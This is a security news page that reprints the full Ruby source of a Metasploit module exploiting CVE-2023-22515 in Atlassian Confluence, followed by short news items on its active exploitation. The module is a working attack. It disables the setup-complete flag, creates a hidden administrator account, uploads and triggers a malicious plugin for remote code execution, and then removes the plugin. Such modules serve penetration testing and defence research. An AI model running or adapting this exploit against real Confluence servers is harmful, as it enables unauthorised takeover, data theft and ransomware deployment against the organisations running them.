Security
Headlines
HeadlinesLatestCVEs

Headline

Atlassian Confluence Unauthenticated Remote Code Execution

This Metasploit module exploits an improper input validation issue in Atlassian Confluence, allowing arbitrary HTTP parameters to be translated into getter/setter sequences via the XWorks2 middleware and in turn allows for Java objects to be modified at run time. The exploit will create a new administrator user and upload a malicious plugins to get arbitrary code execution. All versions of Confluence between 8.0.0 through to 8.3.2, 8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1 are affected.

Packet Storm
#vulnerability#windows#js#git#java#rce#auth
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Retry  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Atlassian Confluence Unauthenticated Remote Code Execution',        'Description' => %q{          This module exploits an improper input validation issue in Atlassian Confluence, allowing arbitrary HTTP          parameters to be translated into getter/setter sequences via the XWorks2 middleware and in turn allows for          Java objects to be modified at run time. The exploit will create a new administrator user and upload a          malicious plugins to get arbitrary code execution. All versions of Confluence between 8.0.0 through to 8.3.2,          8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1 are affected.        },        'License' => MSF_LICENSE,        'Author' => [          'sfewer-r7', # MSF Exploit & Rapid7 Analysis        ],        'References' => [          ['CVE', '2023-22515'],          ['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis'],          ['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'],        ],        'DisclosureDate' => '2023-10-04',        'Privileged' => false, # `NT AUTHORITY\NETWORK SERVICE` on Windows by default.        'Targets' => [          [            'Automatic',            {              'Platform' => 'java',              'Arch' => [ARCH_JAVA]            }          ],        ],        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          # Note we cannot delete the admin user we create, as Confluence prevents a user deleting themself.          'SideEffects' => [IOC_IN_LOGS]        }      )    )    register_options(      [        # By default Confluence listens for HTTP requests on TCP port 8090.        Opt::RPORT(8090),        # Confluence may have a non default base path, allow user to configure that here.        OptString.new('TARGETURI', [true, 'Base path for Confluence', '/']),        # The endpoint we target to trigger the vulnerability.        OptString.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', 'server-info.action']),        # We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait.        OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30])      ]    )  end  def check    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT'])    )    return CheckCode::Unknown('Connection failed') unless res    # Ensure target is a Confluence server by identifying an expected HTTP header.    return CheckCode::Unknown('No \'X-Confluence-Request-Time\' header') unless res.headers.key? 'X-Confluence-Request-Time'    if res.code == 200 && res.body      # Pull out the version string from one of three known locations within the HTML.      m = res.body.match(/ajs-version-number" content="(\d+\.\d+\.\d+)"/i)      if m.nil?        m = res.body.match(/Printed by Atlassian Confluence (\d+\.\d+\.\d+)/i)        if m.nil?          m = res.body.match(%r{<span id='footer-build-information'>(\d+\.\d+\.\d+)</span>}i)        end      end      unless m.nil?        version = Rex::Version.new(m[1])        ranges = [          ['8.0.0', '8.3.2'],          ['8.4.0', '8.4.2'],          ['8.5.0', '8.5.1']        ]        # If we have a Confluence server within the given version ranges, it appears vulnerable.        ranges.each do |min, max|          if version.between?(Rex::Version.new(min), Rex::Version.new(max))            return Exploit::CheckCode::Appears("Atlassian Confluence #{version}")          end        end        # By here we know we have a confluence server, but the version found indicates it is safe.        return Exploit::CheckCode::Safe("Atlassian Confluence #{version}")      end    end    # By here we have identified a Confluence server, but could not get the version number to determine if it is    # vulnerable of not.    CheckCode::Detected  end  def exploit    target_endpoint = normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT'])    print_status("Setting the application configuration's setupComplete to false via endpoint: #{target_endpoint}")    # 1. Leverage CVE-2023-22515 to modify a configuration setting, allowing us to reach the /setup/* endpoints.    res = send_request_cgi(      'method' => 'POST',      'uri' => target_endpoint,      'vars_post' => {        'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'      }    )    unless res&.code == 302 || res&.code == 200      fail_with(Failure::UnexpectedReply, "Unexpected reply from endpoint: #{target_endpoint}")    end    print_status('Creating a new administrator user account...')    # usernames must be lowercase    admin_username = rand_text_alpha_lower(8)    admin_password = rand_text_alphanumeric(8)    # 2. Create a new administrator user account.    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'setup', 'setupadministrator.action'),      'headers' => {        'X-Atlassian-Token' => 'no-check'      },      'vars_post' => {        'username' => admin_username,        'fullName' => rand_text_alphanumeric(8),        # The email address does not need to be a valid address, but it must contain an @ character.        'email' => "#{rand_text_alphanumeric(8)}@#{rand_text_alphanumeric(8)}",        'password' => admin_password,        'confirm' => admin_password,        'setup-next-button' => 'Next'      }    )    unless res&.code == 302 || res&.code == 200      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/setupadministrator.action')    end    print_status("Created #{admin_username}:#{admin_password}")    # 3. Force the setup to become completed, to allow normal Confluence operations to continue.    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'setup', 'finishsetup.action'),      'headers' => {        'X-Atlassian-Token' => 'no-check'      }    )    unless res&.code == 200      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/finishsetup.action')    end    print_status('Adding a malicious plugin...')    # 4. Upload a new Confluence Servlet plugin, by first requesting a UPM token.    res = send_request_cgi(      'method' => 'GET',      # Note, we concatenate '/' as this is required by the endpoint.      'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',      'headers' => {        'Authorization' => basic_auth(admin_username, admin_password),        'Accept' => '*/*'      },      'vars_get' => {        'os_authType' => 'basic'      }    )    unless res&.code == 200      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /rest/plugins/1.0/')    end    upm_token = res.headers['upm-token']    unless upm_token      fail_with(Failure::UnexpectedReply, 'No UPM token from endpoint: /rest/plugins/1.0/')    end    begin      payload_endpoint = rand_text_alphanumeric(8)      plugin_key = rand_text_alpha(8)      # 5. Construct a malicious Servlet plugin JAR file. We set :random to true which will randomize the string      # 'metasploit' in the class paths (via Rex::Zip::Jar::add_sub).      jar = payload.encoded_jar(random: true)      jar.add_file(        'atlassian-plugin.xml',        %(<atlassian-plugin name="#{rand_text_alpha(8)}" key="#{plugin_key}" plugins-version="2">  <plugin-info>    <description>#{rand_text_alphanumeric(8)}</description>    <version>#{rand(1024)}.#{rand(1024)}</version>  </plugin-info>  <servlet key="#{rand_text_alpha(8)}" class="#{jar.substitutions['metasploit']}.PayloadServlet">    <url-pattern>#{normalize_uri(payload_endpoint)}</url-pattern>  </servlet></atlassian-plugin>)      )      jar.add_file('metasploit/PayloadServlet.class', MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class'))      message = Rex::MIME::Message.new      message.add_part(jar.pack, 'application/octet-stream', 'binary', "form-data; name=\"plugin\"; filename=\"#{rand_text_alphanumeric(8)}.jar\"")      # 6. Upload the malicious plugin.      res = send_request_cgi(        'method' => 'POST',        'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',        'ctype' => 'multipart/form-data; boundary=' + message.bound,        'headers' => {          'Authorization' => basic_auth(admin_username, admin_password),          'Accept' => '*/*'        },        'vars_get' => {          'token' => upm_token        },        'data' => message.to_s      )      unless res&.code == 202        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply code from endpoint: /rest/plugins/1.0/')      end      unless res.body =~ %r{<textarea>(.+)</textarea>}        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply data from endpoint: /rest/plugins/1.0/')      end      begin        plugin_json = JSON.parse(::Regexp.last_match(1))      rescue JSON::ParserError        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, failed to parse JSON data from endpoint: /rest/plugins/1.0/')      end      # We receive a JSON object like this:      # <textarea>{"type":"INSTALL","pingAfter":100,"status":{"done":false,"statusCode":200,"contentType":"application/vnd.atl.plugins.install.installing+json","source":"JQEjEJBr.jar","name":"JQEjEJBr.jar"},"links":{"self":"/rest/plugins/1.0/pending/52227753-1c3e-496f-a4f4-d52a8b3850dc","alternate":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc"},"timestamp":1697471602188,"userKey":"4028d6b28b294680018b39311d17001e","id":"52227753-1c3e-496f-a4f4-d52a8b3850dc"}</textarea>      links_alternate = plugin_json&.dig('links', 'alternate')      if links_alternate.nil?        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, no alternate link in reply from endpoint: /rest/plugins/1.0/')      end      print_status('Waiting for plugin to be installed...')      # 7. The plugin is installed asynchronously, so we poll the server for installation to be completed.      plugin_ready = retry_until_truthy(timeout: datastore['CONFLUENCE_PLUGIN_TIMEOUT']) do        res = send_request_cgi(          'method' => 'GET',          'uri' => normalize_uri(target_uri.path, links_alternate)        )        # We receive a JSON result to indicate if the plugin is finished installing.        # {"links":{"self":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc","result":"/rest/plugins/1.0/plkWITNH-key"},"done":true,"type":"INSTALL","progress":1.0,"pollDelay":100,"timestamp":1697471602188}        if res&.code == 200          begin            res_json = JSON.parse(res.body)            next res_json['done']          rescue JSON::ParserError            next false          end        end        false      end      unless plugin_ready        fail_with(Failure::TimeoutExpired, 'Uploading plugin failed, timeout while waiting to install.')      end      print_status('Triggering payload...')      # 8. Trigger the payload by performing a request to the malicious servlet endpoint.      res = send_request_cgi(        'method' => 'GET',        'uri' => normalize_uri(target_uri.path, 'plugins', 'servlet', payload_endpoint)      )      unless res&.code == 200        fail_with(Failure::PayloadFailed, "Triggering payload failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")      end    ensure      print_status('Deleting plugin...')      # 9. Delete the plugin we uploaded as we no longer need it. We cannot delete the admin user we created as      # Confluence doesnt allow a user to delete themself.      res = send_request_cgi(        'method' => 'DELETE',        'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0', "#{plugin_key}-key"),        'headers' => {          'Authorization' => basic_auth(admin_username, admin_password),          'Connection' => 'close'        }      )      unless res&.code == 204        print_warning("Deleting plugin failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")      end    end  endend

Related news

RansomHub Ransomware Group Targets 210 Victims Across Critical Sectors

Threat actors linked to the RansomHub ransomware group encrypted and exfiltrated data from at least 210 victims since its inception in February 2024, the U.S. government said. The victims span various sectors, including water and wastewater, information technology, government services and facilities, healthcare and public health, emergency services, food and agriculture, financial services,

Ransomware review: November 2023

In September, two high-profile casino breaches taught us about the nuances of the RaaS affiliate landscape, the asymmetric dangers of phishing, and of two starkly different approaches to ransomware negotiation.

Alert: 'Effluence' Backdoor Persists Despite Patching Atlassian Confluence Servers

Cybersecurity researchers have discovered a stealthy backdoor named Effluence that's deployed following the successful exploitation of a recently disclosed security flaw in Atlassian Confluence Data Center and Server. "The malware acts as a persistent backdoor and is not remediated by applying patches to Confluence," Aon's Stroz Friedberg Incident Response Services said in an analysis published

Experts Warn of Ransomware Hackers Exploiting Atlassian and Apache Flaws

Multiple ransomware groups have begun to actively exploit recently disclosed flaws in Atlassian Confluence and Apache ActiveMQ. Cybersecurity firm Rapid7 said it observed the exploitation of CVE-2023-22518 and CVE-2023-22515 in multiple customer environments, some of which have been leveraged for the deployment of Cerber (aka C3RB3R) ransomware. Both vulnerabilities are critical, allowing threat

October 2023: back to Positive Technologies, Vulristics updates, Linux Patch Wednesday, Microsoft Patch Tuesday, PhysTech VM lecture

Hello everyone! October was an interesting and busy month for me. I started a new job, worked on my open source Vulristics project, and analyzed vulnerabilities using it. Especially Linux vulnerabilities as part of my new Linux Patch Wednesday project. And, of course, analyzed Microsoft Patch Tuesday as well. In addition, at the end of […]

Atlassian Warns of New Critical Confluence Vulnerability Threatening Data Loss

Atlassian has warned of a critical security flaw in Confluence Data Center and Server that could result in "significant data loss if exploited by an unauthenticated attacker." Tracked as CVE-2023-22518, the vulnerability is rated 9.1 out of a maximum of 10 on the CVSS scoring system. It has been described as an instance of "improper authorization vulnerability." All versions of Confluence Data

Update now! Atlassian Confluence vulnerability is being actively exploited

Categories: Exploits and vulnerabilities Categories: News Microsoft Threat Intelligence has revealed that it has been tracking the active exploitation of a vulnerability in Atlassian Confluence software since September 14, 2023. (Read more...) The post Update now! Atlassian Confluence vulnerability is being actively exploited appeared first on Malwarebytes Labs.

Microsoft: Chinese APT Behind Atlassian Confluence Attacks; PoCs Appear

Organizations should brace for mass exploitation of CVE-2023-22515, an uber-critical security bug that opens the door to crippling supply chain attacks on downstream victims.

Microsoft Warns of Nation-State Hackers Exploiting Critical Atlassian Confluence Vulnerability

Microsoft has linked the exploitation of a recently disclosed critical flaw in Atlassian Confluence Data Center and Server to a nation-state actor it tracks as Storm-0062 (aka DarkShadow or Oro0lxy). The tech giant's threat intelligence team said it observed in-the-wild abuse of the vulnerability since September 14, 2023. "CVE-2023-22515 is a critical privilege escalation vulnerability in

Atlassian Confluence Hit by Newly Actively Exploited Zero-Day – Patch Now

Atlassian has released fixes to contain an actively exploited critical zero-day flaw impacting publicly accessible Confluence Data Center and Server instances. The vulnerability, tracked as CVE-2023-22515, is remotely exploitable and allows external attackers to create unauthorized Confluence administrator accounts and access Confluence servers. It does not impact Confluence versions prior to

CVE-2023-22515

Atlassian has been made aware of an issue reported by a handful of customers where external attackers may have exploited a previously unknown vulnerability in publicly accessible Confluence Data Center and Server instances to create unauthorized Confluence administrator accounts and access Confluence instances. Atlassian Cloud sites are not affected by this vulnerability. If your Confluence site is accessed via an atlassian.net domain, it is hosted by Atlassian and is not vulnerable to this issue. For more details, please review the linked advisory on this CVE.

CVE-2023-22515: FAQ for CVE-2023-22515 | Atlassian Support

Atlassian has been made aware of an issue reported by a handful of customers where external attackers may have exploited a previously unknown vulnerability in publicly accessible Confluence Data Center and Server instances to create unauthorized Confluence administrator accounts and access Confluence instances. Atlassian Cloud sites are not affected by this vulnerability. If your Confluence site is accessed via an atlassian.net domain, it is hosted by Atlassian and is not vulnerable to this issue.

Packet Storm: Latest News

Zeek 6.0.8